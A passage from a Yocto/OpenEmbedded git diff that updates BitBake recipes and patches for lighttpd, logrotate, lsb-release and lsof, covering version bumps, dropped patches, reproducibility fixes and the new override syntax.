+ install -m 0644 ${S}/doc/systemd/lighttpd.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@SYSCONFDIR@,${sysconfdir},g' \
+ -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ ${D}${systemd_system_unitdir}/lighttpd.service
+ #For FHS compliance, create symbolic links to /var/log and /var/tmp for logs and temporary data
+ ln -sf ${localstatedir}/log ${D}/www/logs
+ ln -sf ${localstatedir}/tmp ${D}/www/var
+}
+
+# bitbake.conf sets ${libdir}/${BPN}/* in FILES, which messes up the module split.
+# So we re-do the variable.
+FILES:${PN} = "${sysconfdir} /www ${sbindir}"
+
+CONFFILES:${PN} = "${sysconfdir}/lighttpd/lighttpd.conf"
+
+PACKAGES_DYNAMIC += "^lighttpd-module-.*"
+
+python populate_packages:prepend () {
+ lighttpd_libdir = d.expand('${prefix}/lib/lighttpd')
+ do_split_packages(d, lighttpd_libdir, r'^mod_(.*)\.so$', 'lighttpd-module-%s', 'Lighttpd module for %s', extra_depends='')
+}
diff --git a/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch b/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch
deleted file mode 100644
index 79805b5148..0000000000
--- a/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch
+++ /dev/null
@@ -1,150 +0,0 @@
-From c637948ebab5aff5641700c5cf613321ca0a6e6b Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Tue, 17 Feb 2015 21:08:07 -0800
-Subject: [PATCH] Act as the "mv" command when rotate log
-
-Act as the "mv" command when rotate log, first rename, if failed, then
-read and write.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- logrotate.c | 71 ++++++++++++++++++++++++++++++++++++++++++++---------
- 1 file changed, 59 insertions(+), 12 deletions(-)
-
-diff --git a/logrotate.c b/logrotate.c
-index 54dac90..bf3ec23 100644
---- a/logrotate.c
-+++ b/logrotate.c
-@@ -1360,6 +1360,53 @@ static int findNeedRotating(struct logInfo *log, int logNum, int force)
- return 0;
- }
-
-+/* Act as the "mv" command, if rename failed, then read the old file and
-+ * write to new file. The function which invokes the mvFile will use
-+ * the strerror(errorno) to handle the error message, so we don't have
-+ * to print the error message here */
-+
-+int mvFile (char *oldName, char *newName, struct logInfo *log, acl_type acl)
-+{
-+ struct stat sbprev;
-+ int fd_old, fd_new, n;
-+ char buf[BUFSIZ];
-+
-+ /* Do the rename first */
-+ if (!rename(oldName, newName))
-+ return 0;
-+
-+ /* If the errno is EXDEV, then read old file, write newfile and
-+ * remove the oldfile */
-+ if (errno == EXDEV) {
-+ /* Open the old file to read */
-+ if ((fd_old = open(oldName, O_RDONLY)) < 0)
-+ return 1;
-+
-+ /* Create the file to write, keep the same attribute as the old file */
-+ if (stat(oldName, &sbprev))
-+ return 1;
-+ else {
-+ if ((fd_new = createOutputFile(newName,
-+ O_WRONLY | O_CREAT | O_TRUNC, &sbprev, acl, 0)) < 0 )
-+ return 1;
-+ }
-+
-+ /* Read and write */
-+ while ((n = read(fd_old, buf, BUFSIZ)) > 0)
-+ if (write(fd_new, buf, n) != n)
-+ return 1;
-+
-+ if ((close(fd_old) < 0) ||
-+ removeLogFile(oldName, log) ||
-+ (close(fd_new) < 0))
-+ return 1;
-+
-+ return 0;
-+ }
-+
-+ return 1;
-+}
-+
- /* find the rotated file with the highest index */
- static int findLastRotated(const struct logNames *rotNames,
- const char *fileext, const char *compext)
-@@ -1800,15 +1847,15 @@ static int prerotateSingleLog(struct logInfo *log, int logNum,
- }
-
- message(MESS_DEBUG,
-- "renaming %s to %s (rotatecount %d, logstart %d, i %d), \n",
-+ "moving %s to %s (rotatecount %d, logstart %d, i %d), \n",
- oldName, newName, rotateCount, logStart, i);
-
-- if (!debug && rename(oldName, newName)) {
-+ if (!debug && mvFile(oldName, newName, log, prev_acl)) {
- if (errno == ENOENT) {
- message(MESS_DEBUG, "old log %s does not exist\n",
- oldName);
- } else {
-- message(MESS_ERROR, "error renaming %s to %s: %s\n",
-+ message(MESS_ERROR, "error moving %s to %s: %s\n",
- oldName, newName, strerror(errno));
- hasErrors = 1;
- }
-@@ -1891,21 +1938,21 @@ static int rotateSingleLog(struct logInfo *log, int logNum,
- return 1;
- }
-
-- message(MESS_DEBUG, "renaming %s to %s\n", log->files[logNum],
-+ message(MESS_DEBUG, "moving %s to %s\n", log->files[logNum],
- tmpFilename);
-- if (!debug && !hasErrors && rename(log->files[logNum], tmpFilename)) {
-- message(MESS_ERROR, "failed to rename %s to %s: %s\n",
-+ if (!debug && !hasErrors && mvFile(log->files[logNum], rotNames->finalName, log, prev_acl)) {
-+ message(MESS_ERROR, "failed to move %s to %s: %s\n",
- log->files[logNum], tmpFilename,
- strerror(errno));
- hasErrors = 1;
- }
- }
- else {
-- message(MESS_DEBUG, "renaming %s to %s\n", log->files[logNum],
-+ message(MESS_DEBUG, "moving %s to %s\n", log->files[logNum],
- rotNames->finalName);
- if (!debug && !hasErrors &&
-- rename(log->files[logNum], rotNames->finalName)) {
-- message(MESS_ERROR, "failed to rename %s to %s: %s\n",
-+ mvFile(log->files[logNum], rotNames->finalName, log, prev_acl)) {
-+ message(MESS_ERROR, "failed to move %s to %s: %s\n",
- log->files[logNum], rotNames->finalName,
- strerror(errno));
- hasErrors = 1;
-@@ -2297,7 +2344,7 @@ static int rotateLogSet(struct logInfo *log, int force)
- return hasErrors;
- }
-
--static int writeState(const char *stateFilename)
-+static int writeState(struct logInfo *log, char *stateFilename)
- {
- struct logState *p;
- FILE *f;
-@@ -2460,7 +2507,7 @@ static int writeState(const char *stateFilename)
- fclose(f);
-
- if (error == 0) {
-- if (rename(tmpFilename, stateFilename)) {
-+ if (mvFile(tmpFilename, stateFilename, log, prev_acl)) {
- unlink(tmpFilename);
- error = 1;
- message(MESS_ERROR, "error renaming temp state file %s\n",
-@@ -2805,7 +2852,7 @@ int main(int argc, const char **argv)
- rc |= rotateLogSet(log, force);
-
- if (!debug)
-- rc |= writeState(stateFile);
-+ rc |= writeState(log, stateFile);
-
- return (rc != 0);
- }
---
-2.18.1
-
diff --git a/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch b/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch
deleted file mode 100644
index 96ff098a3f..0000000000
--- a/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From e47796c8e8270a3d14f0b06af8a9e916c2225514 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Tue, 8 Jan 2019 06:27:06 +0000
-Subject: [PATCH] Disable the check for different filesystems
-
-The logrotate supports rotate log across different filesystems now, so
-disable the check for different filesystems.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- config.c | 9 ---------
- 1 file changed, 9 deletions(-)
-
-diff --git a/config.c b/config.c
-index 633b843..99a4a3b 100644
---- a/config.c
-+++ b/config.c
-@@ -1765,15 +1765,6 @@ duperror:
- goto error;
- }
- }
--
-- if (sb.st_dev != sb2.st_dev
-- && !(newlog->flags & (LOG_FLAG_COPYTRUNCATE | LOG_FLAG_COPY | LOG_FLAG_TMPFILENAME))) {
-- message(MESS_ERROR,
-- "%s:%d olddir %s and log file %s "
-- "are on different devices\n", configFile,
-- lineNum, newlog->oldDir, newlog->files[i]);
-- goto error;
-- }
- }
- }
-
---
-2.18.1
-
diff --git a/meta/recipes-extended/logrotate/logrotate/update-the-manual.patch b/meta/recipes-extended/logrotate/logrotate/update-the-manual.patch
deleted file mode 100644
index 725567e0c9..0000000000
--- a/meta/recipes-extended/logrotate/logrotate/update-the-manual.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From bf22e8805df69344f6f20cea390e829a22fa741b Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Tue, 17 Feb 2015 21:14:37 -0800
-Subject: [PATCH] Update the manual
-
-Update the manual for rotating on different filesystems.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- logrotate.8.in | 10 ++++------
- 1 file changed, 4 insertions(+), 6 deletions(-)
-
-diff --git a/logrotate.8.in b/logrotate.8.in
-index 951e406..581bf48 100644
---- a/logrotate.8.in
-+++ b/logrotate.8.in
-@@ -445,12 +445,10 @@ Do not rotate the log if it is empty (this overrides the \fBifempty\fR option).
-
- .TP
- \fBolddir \fIdirectory\fR
--Logs are moved into \fIdirectory\fR for rotation. The \fIdirectory\fR must be
--on the same physical device as the log file being rotated, unless \fBcopy\fR,
--\fBcopytruncate\fR or \fBrenamecopy\fR option is used. The \fIdirectory\fR
--is assumed to be relative to the directory holding the log file
--unless an absolute path name is specified. When this option is used all
--old versions of the log end up in \fIdirectory\fR. This option may be
-+Logs are moved into \fIdirectory\fR for rotation. The \fIdirectory\fR
-+is assumed to be relative to the directory holding the log file unless
-+an absolute path name is specified. When this option is used all old
-+versions of the log end up in \fIdirectory\fR. This option may be
- overridden by the \fBnoolddir\fR option.
-
- .TP
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/logrotate/logrotate_3.15.1.bb b/meta/recipes-extended/logrotate/logrotate_3.15.1.bb
deleted file mode 100644
index 7c7d51b39e..0000000000
--- a/meta/recipes-extended/logrotate/logrotate_3.15.1.bb
+++ /dev/null
@@ -1,99 +0,0 @@
-SUMMARY = "Rotates, compresses, removes and mails system log files"
-SECTION = "console/utils"
-HOMEPAGE = "https://github.com/logrotate/logrotate/issues"
-LICENSE = "GPLv2"
-
-# TODO: Document coreutils dependency. Why not RDEPENDS? Why not busybox?
-
-DEPENDS="coreutils popt"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-# When updating logrotate to latest upstream, SRC_URI should point to
-# a proper release tarball from https://github.com/logrotate/logrotate/releases
-# and we have to take the snapshot for now because there is no such
-# tarball available for 3.9.1.
-
-S = "${WORKDIR}/${BPN}-${PV}"
-
-UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
-UPSTREAM_CHECK_REGEX = "logrotate-(?P<pver>\d+(\.\d+)+).tar"
-
-SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BP}.tar.xz \
- file://act-as-mv-when-rotate.patch \
- file://update-the-manual.patch \
- file://disable-check-different-filesystems.patch \
- "
-
-SRC_URI[md5sum] = "afe109afea749c306ff489203fde6beb"
-SRC_URI[sha256sum] = "491fec9e89f1372f02a0ab66579aa2e9d63cac5178dfa672c204c88e693a908b"
-
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'acl selinux', d)}"
-
-PACKAGECONFIG[acl] = ",,acl"
-PACKAGECONFIG[selinux] = ",,libselinux"
-
-CONFFILES_${PN} += "${localstatedir}/lib/logrotate.status \
- ${sysconfdir}/logrotate.conf \
- ${sysconfdir}/logrotate.d/btmp \
- ${sysconfdir}/logrotate.d/wtmp"
-
-# If RPM_OPT_FLAGS is unset, it adds -g itself rather than obeying our
-# optimization variables, so use it rather than EXTRA_CFLAGS.
-EXTRA_OEMAKE = "\
- LFS= \
- OS_NAME='${OS_NAME}' \
- 'CC=${CC}' \
- 'RPM_OPT_FLAGS=${CFLAGS}' \
- 'EXTRA_LDFLAGS=${LDFLAGS}' \
- ${@bb.utils.contains('PACKAGECONFIG', 'acl', 'WITH_ACL=yes', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'selinux', 'WITH_SELINUX=yes', '', d)} \
-"
-
-# OS_NAME in the makefile defaults to `uname -s`. The behavior for
-# freebsd/netbsd is questionable, so leave it as Linux, which only sets
-# INSTALL=install and BASEDIR=/usr.
-OS_NAME = "Linux"
-
-inherit autotools systemd
-
-SYSTEMD_SERVICE_${PN} = "\
- ${BPN}.service \
- ${BPN}.timer \
-"
-
-LOGROTATE_OPTIONS ?= ""
-
-LOGROTATE_SYSTEMD_TIMER_BASIS ?= "daily"
-LOGROTATE_SYSTEMD_TIMER_ACCURACY ?= "12h"
-LOGROTATE_SYSTEMD_TIMER_PERSISTENT ?= "true"
-
-do_install(){
- oe_runmake install DESTDIR=${D} PREFIX=${D} MANDIR=${mandir}
- mkdir -p ${D}${sysconfdir}/logrotate.d
- mkdir -p ${D}${localstatedir}/lib
- install -p -m 644 ${S}/examples/logrotate.conf ${D}${sysconfdir}/logrotate.conf
- install -p -m 644 ${S}/examples/btmp ${D}${sysconfdir}/logrotate.d/btmp
- install -p -m 644 ${S}/examples/wtmp ${D}${sysconfdir}/logrotate.d/wtmp
- touch ${D}${localstatedir}/lib/logrotate.status
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${systemd_system_unitdir}
- install -m 0644 ${S}/examples/logrotate.service ${D}${systemd_system_unitdir}/logrotate.service
- install -m 0644 ${S}/examples/logrotate.timer ${D}${systemd_system_unitdir}/logrotate.timer
- [ -z "${LOGROTATE_OPTIONS}" ] ||
- sed -ri \
- -e 's|(ExecStart=.*/logrotate.*)$|\1 ${LOGROTATE_OPTIONS}|g' \
- ${D}${systemd_system_unitdir}/logrotate.service
- sed -ri \
- -e 's|(OnCalendar=).*$|\1${LOGROTATE_SYSTEMD_TIMER_BASIS}|g' \
- -e 's|(AccuracySec=).*$|\1${LOGROTATE_SYSTEMD_TIMER_ACCURACY}|g' \
- -e 's|(Persistent=).*$|\1${LOGROTATE_SYSTEMD_TIMER_PERSISTENT}|g' \
- ${D}${systemd_system_unitdir}/logrotate.timer
- fi
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
- mkdir -p ${D}${sysconfdir}/cron.daily
- install -p -m 0755 ${S}/examples/logrotate.cron ${D}${sysconfdir}/cron.daily/logrotate
- fi
-}
diff --git a/meta/recipes-extended/logrotate/logrotate_3.19.0.bb b/meta/recipes-extended/logrotate/logrotate_3.19.0.bb
new file mode 100644
index 0000000000..2a60d9b31f
--- /dev/null
+++ b/meta/recipes-extended/logrotate/logrotate_3.19.0.bb
@@ -0,0 +1,91 @@
+SUMMARY = "Rotates, compresses, removes and mails system log files"
+SECTION = "console/utils"
+HOMEPAGE = "https://github.com/logrotate/logrotate/"
+DESCRIPTION = "The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files."
+LICENSE = "GPL-2.0-only"
+
+# TODO: Document coreutils dependency. Why not RDEPENDS? Why not busybox?
+
+DEPENDS="coreutils popt"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
+UPSTREAM_CHECK_REGEX = "logrotate-(?P<pver>\d+(\.\d+)+).tar"
+
+SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BP}.tar.xz"
+
+SRC_URI[sha256sum] = "ddd5274d684c5c99ca724e8069329f343ebe376e07493d537d9effdc501214ba"
+
+# These CVEs are debian, gentoo or SUSE specific on the way logrotate was installed/used
+CVE_CHECK_IGNORE += "CVE-2011-1548 CVE-2011-1549 CVE-2011-1550"
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'acl selinux', d)}"
+
+PACKAGECONFIG[acl] = ",,acl"
+PACKAGECONFIG[selinux] = ",,libselinux"
+
+CONFFILES:${PN} += "${localstatedir}/lib/logrotate.status \
+ ${sysconfdir}/logrotate.conf \
+ ${sysconfdir}/logrotate.d/btmp \
+ ${sysconfdir}/logrotate.d/wtmp"
+
+# If RPM_OPT_FLAGS is unset, it adds -g itself rather than obeying our
+# optimization variables, so use it rather than EXTRA_CFLAGS.
+EXTRA_OEMAKE = "\
+ LFS= \
+ OS_NAME='${OS_NAME}' \
+ 'CC=${CC}' \
+ 'RPM_OPT_FLAGS=${CFLAGS}' \
+ 'EXTRA_LDFLAGS=${LDFLAGS}' \
+ ${@bb.utils.contains('PACKAGECONFIG', 'acl', 'WITH_ACL=yes', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'selinux', 'WITH_SELINUX=yes', '', d)} \
+"
+
+# OS_NAME in the makefile defaults to `uname -s`. The behavior for
+# freebsd/netbsd is questionable, so leave it as Linux, which only sets
+# INSTALL=install and BASEDIR=/usr.
+OS_NAME = "Linux"
+
+inherit autotools systemd
+
+SYSTEMD_SERVICE:${PN} = "\
+ ${BPN}.service \
+ ${BPN}.timer \
+"
+
+LOGROTATE_OPTIONS ?= ""
+
+LOGROTATE_SYSTEMD_TIMER_BASIS ?= "daily"
+LOGROTATE_SYSTEMD_TIMER_ACCURACY ?= "12h"
+LOGROTATE_SYSTEMD_TIMER_PERSISTENT ?= "true"
+
+do_install(){
+ oe_runmake install DESTDIR=${D} PREFIX=${D} MANDIR=${mandir}
+ mkdir -p ${D}${sysconfdir}/logrotate.d
+ mkdir -p ${D}${localstatedir}/lib
+ install -p -m 644 ${S}/examples/logrotate.conf ${D}${sysconfdir}/logrotate.conf
+ install -p -m 644 ${S}/examples/btmp ${D}${sysconfdir}/logrotate.d/btmp
+ install -p -m 644 ${S}/examples/wtmp ${D}${sysconfdir}/logrotate.d/wtmp
+ touch ${D}${localstatedir}/lib/logrotate.status
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${S}/examples/logrotate.service ${D}${systemd_system_unitdir}/logrotate.service
+ install -m 0644 ${S}/examples/logrotate.timer ${D}${systemd_system_unitdir}/logrotate.timer
+ [ -z "${LOGROTATE_OPTIONS}" ] ||
+ sed -ri \
+ -e 's|(ExecStart=.*/logrotate.*)$|\1 ${LOGROTATE_OPTIONS}|g' \
+ ${D}${systemd_system_unitdir}/logrotate.service
+ sed -ri \
+ -e 's|(OnCalendar=).*$|\1${LOGROTATE_SYSTEMD_TIMER_BASIS}|g' \
+ -e 's|(AccuracySec=).*$|\1${LOGROTATE_SYSTEMD_TIMER_ACCURACY}|g' \
+ -e 's|(Persistent=).*$|\1${LOGROTATE_SYSTEMD_TIMER_PERSISTENT}|g' \
+ ${D}${systemd_system_unitdir}/logrotate.timer
+ fi
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ mkdir -p ${D}${sysconfdir}/cron.daily
+ install -p -m 0755 ${S}/examples/logrotate.cron ${D}${sysconfdir}/cron.daily/logrotate
+ fi
+}
diff --git a/meta/recipes-extended/lsb/lsb-release/0001-Remove-timestamp-from-manpage.patch b/meta/recipes-extended/lsb/lsb-release/0001-Remove-timestamp-from-manpage.patch
new file mode 100644
index 0000000000..af095fd322
--- /dev/null
+++ b/meta/recipes-extended/lsb/lsb-release/0001-Remove-timestamp-from-manpage.patch
@@ -0,0 +1,27 @@
+From fb0b58be938bab5571ac0bdec3725f6d88b07e9f Mon Sep 17 00:00:00 2001
+From: Jeremy Puhlman <jpuhlman@mvista.com>
+Date: Sat, 22 Feb 2020 19:01:28 +0000
+Subject: [PATCH] Remove timestamp from manpage
+
+Upstream-Status: Submitted [lsb-discuss@lists.linux-foundation.org]
+Signed-off-by: Jeremy A. Puhlman <jpuhlman@mvista.com>
+---
+ Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile b/Makefile
+index 04fdecd..5be8081 100644
+--- a/Makefile
++++ b/Makefile
+@@ -17,7 +17,7 @@ man: lsb_release.1.gz
+
+ lsb_release.1.gz: lsb_release
+ @./help2man -N --include ./lsb_release.examples --alt_version_key=program_version ./lsb_release >lsb_release.1
+- @gzip -9f lsb_release.1
++ @gzip -9fn lsb_release.1
+
+ install: all
+ install -D -m 644 lsb_release.1.gz ${mandir}/man1/lsb_release.1.gz
+--
+2.13.3
+
diff --git a/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch b/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch
new file mode 100644
index 0000000000..f32cd18370
--- /dev/null
+++ b/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch
@@ -0,0 +1,27 @@
+lsb-release maintains it's own copy of help2man. Include the support
+for specifying SOURCE_DATE_EPOCH from upstream.
+
+Upstream-Status: Pending
+
+Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
+
+diff --git a/help2man b/help2man
+index 13015c2..63439db 100755
+--- a/help2man
++++ b/help2man
+@@ -173,7 +173,14 @@ my ($help_text, $version_text) = map {
+ or die "$this_program: can't get `--$_' info from $ARGV[0]\n"
+ } qw(help), $opt_version_key;
+
+-my $date = strftime "%B %Y", localtime;
++my $epoch_secs = time;
++if (exists $ENV{SOURCE_DATE_EPOCH} and $ENV{SOURCE_DATE_EPOCH} =~ /^(\d+)$/)
++{
++ $epoch_secs = $1;
++ $ENV{TZ} = 'UTC0';
++}
++
++my $date = strftime "%B %Y", localtime $epoch_secs;
+ (my $program = $ARGV[0]) =~ s!.*/!!;
+ my $package = $program;
+ my $version;
diff --git a/meta/recipes-extended/lsb/lsb-release_1.4.bb b/meta/recipes-extended/lsb/lsb-release_1.4.bb
index 52e30267f5..ad16554e98 100644
--- a/meta/recipes-extended/lsb/lsb-release_1.4.bb
+++ b/meta/recipes-extended/lsb/lsb-release_1.4.bb
@@ -1,15 +1,17 @@
SUMMARY = "lsb_release support for OpenEmbedded"
SECTION = "console/utils"
-HOMEPAGE = "http://prdownloads.sourceforge.net/lsb"
-LICENSE = "GPLv2+"
+HOMEPAGE = "https://sourceforge.net/projects/lsb/files"
+LICENSE = "GPL-2.0-or-later"
# lsb_release needs getopt
-RDEPENDS_${PN} += "${VIRTUAL-RUNTIME_getopt}"
+RDEPENDS:${PN} += "${VIRTUAL-RUNTIME_getopt}"
LIC_FILES_CHKSUM = "file://README;md5=12da544b1a3a5a1795a21160b49471cf"
SRC_URI = "${SOURCEFORGE_MIRROR}/project/lsb/lsb_release/1.4/lsb-release-1.4.tar.gz \
file://0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch \
+ file://0001-Remove-timestamp-from-manpage.patch \
+ file://help2man-reproducibility.patch \
"
SRC_URI[md5sum] = "30537ef5a01e0ca94b7b8eb6a36bb1e4"
@@ -33,4 +35,4 @@ do_install() {
echo "DISTRIB_DESCRIPTION=\"${DISTRO_NAME} ${DISTRO_VERSION}\"" >> ${D}${sysconfdir}/lsb-release
}
-FILES_${PN} += "${base_libdir}"
+FILES:${PN} += "${base_libdir}"
diff --git a/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch b/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch
index b7d2323dc9..70155f9a1d 100644
--- a/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch
+++ b/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch
@@ -1,25 +1,29 @@
-Remove host information from version.h
+From 95b8a13c1ea4274f58304bf5c4f7ca3d036b10f3 Mon Sep 17 00:00:00 2001
+From: Li Wang <li.wang@windriver.com>
+Date: Wed, 30 Aug 2017 15:05:16 +0800
+Subject: [PATCH] Remove host information from version.h
make lsof not include host information
Upstream-Status: Inappropriate [embedded specific]
Signed-off-by: Li Wang <li.wang@windriver.com>
+
---
- dialects/linux/Makefile | 50 +++++++++--------------------------------------
+ dialects/linux/Makefile | 50 ++++++++---------------------------------
1 file changed, 9 insertions(+), 41 deletions(-)
diff --git a/dialects/linux/Makefile b/dialects/linux/Makefile
-index 2bea108..792142b 100644
+index 61e8643..5458a0a 100644
--- a/dialects/linux/Makefile
+++ b/dialects/linux/Makefile
-@@ -76,48 +76,16 @@ version.h: FRC
+@@ -95,48 +95,16 @@ version.h: FRC
@echo Constructing version.h
@rm -f version.h
@echo '#define LSOF_BLDCMT "${LSOF_BLDCMT}"' > version.h;
- @echo '#define LSOF_CC "${CC}"' >> version.h
- @echo '#define LSOF_CCV "${CCV}"' >> version.h
-- @echo '#define LSOF_CCDATE "'`date`'"' >> version.h
+- @echo '#define LSOF_CCDATE "$(BUILD_DATE)"' >> version.h
- @echo '#define LSOF_CCFLAGS "'`echo ${CFLAGS} | sed 's/\\\\(/\\(/g' | sed 's/\\\\)/\\)/g' | sed 's/"/\\\\"/g'`'"' >> version.h
+ @echo '#define LSOF_CC ""' >> version.h
+ @echo '#define LSOF_CCV ""' >> version.h
@@ -71,6 +75,3 @@ index 2bea108..792142b 100644
@sed '/VN/s/.ds VN \(.*\)/#define LSOF_VERSION "\1"/' < version >> version.h
FRC:
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/lsof/lsof_4.91.bb b/meta/recipes-extended/lsof/lsof_4.91.bb
deleted file mode 100644
index b3adfd57af..0000000000
--- a/meta/recipes-extended/lsof/lsof_4.91.bb
+++ /dev/null
@@ -1,63 +0,0 @@
-SUMMARY = "LiSt Open Files tool"
-DESCRIPTION = "Lsof is a Unix-specific diagnostic tool. \
-Its name stands for LiSt Open Files, and it does just that."
-HOMEPAGE = "http://people.freebsd.org/~abe/"
-SECTION = "devel"
-LICENSE = "BSD"
-LIC_FILES_CHKSUM = "file://00README;beginline=645;endline=679;md5=964df275d26429ba3b39dbb9f205172a"
-
-# Upstream lsof releases are hosted on an ftp server which times out download
-# attempts from hosts for which it can not perform a DNS reverse-lookup (See:
-# https://people.freebsd.org/~abe/ ). http://www.mirrorservice.org seems to be
-# the most commonly used alternative.
-
-SRC_URI = "http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/lsof_${PV}.tar.bz2 \
- file://lsof-remove-host-information.patch \
- "
-
-SRC_URI[md5sum] = "148ed410cb52e08c2adc0c60f480f11f"
-SRC_URI[sha256sum] = "c9da946a525fbf82ff80090b6d1879c38df090556f3fe0e6d782cb44172450a3"
-
-LOCALSRC = "file://${WORKDIR}/lsof_${PV}/lsof_${PV}_src.tar"
-
-S = "${WORKDIR}/lsof_${PV}_src"
-
-python do_unpack () {
- if not bb.data.inherits_class('externalsrc', d) or not d.getVar('EXTERNALSRC'):
- # temporarily change S for unpack of lsof_${PV}
- s = d.getVar('S', False)
- d.setVar('S', '${WORKDIR}/lsof_${PV}')
- bb.build.exec_func('base_do_unpack', d)
- # temporarily change SRC_URI for unpack of lsof_${PV}_src
- src_uri = d.getVar('SRC_URI', False)
- d.setVar('SRC_URI', '${LOCALSRC}')
- d.setVar('S', s)
- bb.build.exec_func('base_do_unpack', d)
- d.setVar('SRC_URI', src_uri)
-}
-
-export LSOF_INCLUDE = "${STAGING_INCDIR}"
-
-do_configure () {
- export LSOF_AR="${AR} cr"
- export LSOF_RANLIB="${RANLIB}"
- if [ "x${GLIBCVERSION}" != "x" ]; then
- LINUX_CLIB=`echo ${GLIBCVERSION} |sed -e 's,\.,,g'`
- LINUX_CLIB="-DGLIBCV=${LINUX_CLIB}"
- export LINUX_CLIB
- fi
- yes | ./Configure linux
-}
-
-export I = "${STAGING_INCDIR}"
-export L = "${STAGING_INCDIR}"
-
-do_compile () {
- oe_runmake 'CC=${CC}' 'CFGL=${LDFLAGS} -L./lib -llsof' 'DEBUG=' 'INCL=${CFLAGS}'
-}
-
-do_install () {
- install -d ${D}${sbindir} ${D}${mandir}/man8
- install -m 0755 lsof ${D}${sbindir}/lsof
- install -m 0644 lsof.8 ${D}${mandir}/man8/lsof.8
-}
diff --git a/meta/recipes-extended/lsof/lsof_4.94.0.bb b/meta/recipes-extended/lsof/lsof_4.94.0.bb
new file mode 100644
index 0000000000..c2b8bc839b
--- /dev/null
+++ b/meta/recipes-extended/lsof/lsof_4.94.0.bb
@@ -0,0 +1,46 @@
+SUMMARY = "LiSt Open Files tool"
+DESCRIPTION = "Lsof is a Unix-specific diagnostic tool. \
+Its name stands for LiSt Open Files, and it does just that."
+HOMEPAGE = "http://people.freebsd.org/~abe/"
+SECTION = "devel"
+LICENSE = "Spencer-94"
+LIC_FILES_CHKSUM = "file://00README;beginline=645;endline=679;md5=964df275d26429ba3b39dbb9f205172a"
+
+# Upstream lsof releases are hosted on an ftp server which times out download
+# attempts from hosts for which it can not perform a DNS reverse-lookup (See:
+# https://people.freebsd.org/~abe/ ). http://www.mirrorservice.org seems to be
+# the most commonly used alternative.
+
+SRC_URI = "git://github.com/lsof-org/lsof;branch=master;protocol=https \
+ file://lsof-remove-host-information.patch \
+ "
+
+SRCREV = "005e014e1abdadb2493d8b3ce87b37a2c0a2351d"
+
+S = "${WORKDIR}/git"
+
+export LSOF_INCLUDE = "${STAGING_INCDIR}"
+
+do_configure () {
+ export LSOF_AR="${AR} cr"
+ export LSOF_RANLIB="${RANLIB}"
+ if [ "x${GLIBCVERSION}" != "x" ]; then
+ LINUX_CLIB=`echo ${GLIBCVERSION} |sed -e 's,\.,,g'`
+ LINUX_CLIB="-DGLIBCV=${LINUX_CLIB}"
+ export LINUX_CLIB
+ fi
+ yes | ./Configure linux
+}
+
+export I = "${STAGING_INCDIR}"
+export L = "${STAGING_INCDIR}"
+
+do_compile () {
+ oe_runmake 'CC=${CC}' 'CFGL=${LDFLAGS} -L./lib -llsof' 'DEBUG=' 'INCL=${CFLAGS}'
+}
+
+do_install () {
+ install -d ${D}${sbindir} ${D}${mandir}/man8
+ install -m 0755 lsof ${D}${sbindir}/lsof
+ install -m 0644 Lsof.8 ${D}${mandir}/man8/lsof.8
+}
diff --git a/meta/recipes-extended/ltp/ltp/0001-Add-configure-time-check-for-getdents-getdents64-API.patch b/meta/recipes-extended/ltp/ltp/0001-Add-configure-time-check-for-getdents-getdents64-API.patch
deleted file mode 100644
index bfceadb190..0000000000
